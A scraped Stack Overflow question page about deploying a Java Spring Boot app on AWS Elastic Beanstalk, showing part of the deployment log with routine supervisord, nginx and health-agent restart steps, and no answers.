        [2019-03-25T20:05:27.929Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01_stop_before_promote.sh] : Completed activity. Result:
        Executing: /usr/local/bin/supervisorctl -c /etc/supervisor/supervisord.conf stop application:*



        Process termination taking longer than 10 seconds.
        Executing: /usr/local/bin/supervisorctl -c /etc/supervisor/supervisord.conf stop all
        listener:supervisor_listener: stopped
        Executing: /sbin/status supervisord
        supervisord start/running, process 3598
        Executing: /sbin/stop supervisord
        supervisord stop/waiting
        [2019-03-25T20:05:27.929Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01stop_xray.sh] : Starting activity...
        [2019-03-25T20:05:28.045Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01stop_xray.sh] : Completed activity. Result:
        Executing: if ( initctl status xray | grep start ); then initctl stop xray; fi



        [2019-03-25T20:05:28.045Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/02start_xray.sh] : Starting activity...
        [2019-03-25T20:05:28.152Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/02start_xray.sh] : Completed activity.
        [2019-03-25T20:05:28.152Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/03_stop_proxy.sh] : Starting activity...
        [2019-03-25T20:05:28.368Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/03_stop_proxy.sh] : Completed activity. Result:
        Executing: service nginx stop
        Stopping nginx: [ OK ]
        [2019-03-25T20:05:28.368Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/07_start_application.sh] : Starting activity...
        [2019-03-25T20:05:28.475Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/07_start_application.sh] : Completed activity. Result:
        Executing: /sbin/start supervisord
        supervisord start/running, process 13637
        [2019-03-25T20:05:28.475Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/09_start_proxy.sh] : Starting activity...
        [2019-03-25T20:05:31.076Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/09_start_proxy.sh] : Completed activity. Result:
        Executing: service nginx stop



        Executing: service nginx start
        Starting nginx: [ OK ]
        Executing: /opt/elasticbeanstalk/bin/healthd-track-pidfile --proxy nginx



        Executing: /opt/elasticbeanstalk/bin/healthd-configure --appstat-log-path /var/log/nginx/healthd/application.log --appstat-unit sec --appstat-timestamp-on 'completion'



        Executing: /opt/elasticbeanstalk/bin/healthd-restart



        [2019-03-25T20:05:31.076Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/11_stop_after_promote.sh] : Starting activity...
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/11_stop_after_promote.sh] : Completed activity.
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook] : Completed activity. Result:
        Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/enact.
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerPostHook] : Starting activity...
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerPostHook] : Completed activity. Result:
        Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/post.
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1] : Completed activity. Result:
        Application restart - Command CMD-RestartAppServer stage 1 completed
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter] : Starting activity...
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation] : Starting activity...
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation/10-config.sh] : Starting activity...
        [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation/10-config.sh] : Completed activity. Result:
        Disabled forced hourly log rotation.
        [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation] : Completed activity. Result:
        Successfully execute hooks in directory /opt/elasticbeanstalk/addons/logpublish/hooks/config.
        [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter] : Completed activity.
        [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart] : Completed activity. Result:
        Application restart - Command CMD-RestartAppServer succeeded
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs] : Starting activity...
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/AddonsBefore] : Starting activity...
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/AddonsBefore] : Completed activity.
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/TailLogs] : Starting activity...
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/TailLogs/TailLogs] : Completed activity.
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/TailLogs] : Completed activity. Result:
        CMD-TailLogs - stage 0 - Command CMD-TailLogs stage 0 completed
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/AddonsAfter] : Starting activity...
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/AddonsAfter] : Completed activity.
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs] : Completed activity. Result:
        CMD-TailLogs - Command CMD-TailLogs succeeded
        [2019-03-26T14:07:24.343Z] INFO [14928] - [CMD-TailLogs] : Starting activity...
        [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/AddonsBefore] : Starting activity...
        [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/AddonsBefore] : Completed activity.
        [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/TailLogs] : Starting activity...
        [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...








      java spring amazon-web-services spring-boot amazon-elastic-beanstalk






      share|improve this question















      share|improve this question













      share|improve this question




      share|improve this question








      edited Mar 26 at 14:28







      tamil cool

















      asked Mar 25 at 20:40









      tamil cooltamil cool

      7010 bronze badges




      7010 bronze badges






















          0






          active

          oldest

          votes










          Your Answer






          StackExchange.ifUsing("editor", function ()
          StackExchange.using("externalEditor", function ()
          StackExchange.using("snippets", function ()
          StackExchange.snippets.init();
          );
          );
          , "code-snippets");

          StackExchange.ready(function()
          var channelOptions =
          tags: "".split(" "),
          id: "1"
          ;
          initTagRenderer("".split(" "), "".split(" "), channelOptions);

          StackExchange.using("externalEditor", function()
          // Have to fire editor after snippets, if snippets enabled
          if (StackExchange.settings.snippets.snippetsEnabled)
          StackExchange.using("snippets", function()
          createEditor();
          );

          else
          createEditor();

          );

          function createEditor()
          StackExchange.prepareEditor(
          heartbeatType: 'answer',
          autoActivateHeartbeat: false,
          convertImagesToLinks: true,
          noModals: true,
          showLowRepImageUploadWarning: true,
          reputationToPostImages: 10,
          bindNavPrevention: true,
          postfix: "",
          imageUploader:
          brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
          contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
          allowUrls: true
          ,
          onDemand: true,
          discardSelector: ".discard-answer"
          ,immediatelyShowMarkdownHelp:true
          );



          );













          draft saved

          draft discarded


















          StackExchange.ready(
          function ()
          StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f55346085%2fdeployment-issue-of-java-spring-boot-app-on-aws%23new-answer', 'question_page');

          );

          Post as a guest















          Required, but never shown

























          0






          active

          oldest

          votes








          0






          active

          oldest

          votes









          active

          oldest

          votes






          active

          oldest

          votes




          Is this question similar to what you get asked at work? Learn more about asking and sharing private information with your coworkers using Stack Overflow for Teams.







          Is this question similar to what you get asked at work? Learn more about asking and sharing private information with your coworkers using Stack Overflow for Teams.



















          draft saved

          draft discarded
















































          Thanks for contributing an answer to Stack Overflow!


          • Please be sure to answer the question. Provide details and share your research!

          But avoid


          • Asking for help, clarification, or responding to other answers.

          • Making statements based on opinion; back them up with references or personal experience.

          To learn more, see our tips on writing great answers.




          draft saved


          draft discarded














          StackExchange.ready(
          function ()
          StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f55346085%2fdeployment-issue-of-java-spring-boot-app-on-aws%23new-answer', 'question_page');

          );

          Post as a guest















          Required, but never shown





















































          Required, but never shown














          Required, but never shown












          Required, but never shown







          Required, but never shown

































          Required, but never shown














          Required, but never shown












          Required, but never shown







          Required, but never shown







          Popular posts from this blog

          Kamusi Yaliyomo Aina za kamusi | Muundo wa kamusi | Faida za kamusi | Dhima ya picha katika kamusi | Marejeo | Tazama pia | Viungo vya nje | UrambazajiKuhusu kamusiGo-SwahiliWiki-KamusiKamusi ya Kiswahili na Kiingerezakuihariri na kuongeza habari

          SQL error code 1064 with creating Laravel foreign keysForeign key constraints: When to use ON UPDATE and ON DELETEDropping column with foreign key Laravel error: General error: 1025 Error on renameLaravel SQL Can't create tableLaravel Migration foreign key errorLaravel php artisan migrate:refresh giving a syntax errorSQLSTATE[42S01]: Base table or view already exists or Base table or view already exists: 1050 Tableerror in migrating laravel file to xampp serverSyntax error or access violation: 1064:syntax to use near 'unsigned not null, modelName varchar(191) not null, title varchar(191) not nLaravel cannot create new table field in mysqlLaravel 5.7:Last migration creates table but is not registered in the migration table

          은진 송씨 목차 역사 본관 분파 인물 조선 왕실과의 인척 관계 집성촌 항렬자 인구 같이 보기 각주 둘러보기 메뉴은진 송씨세종실록 149권, 지리지 충청도 공주목 은진현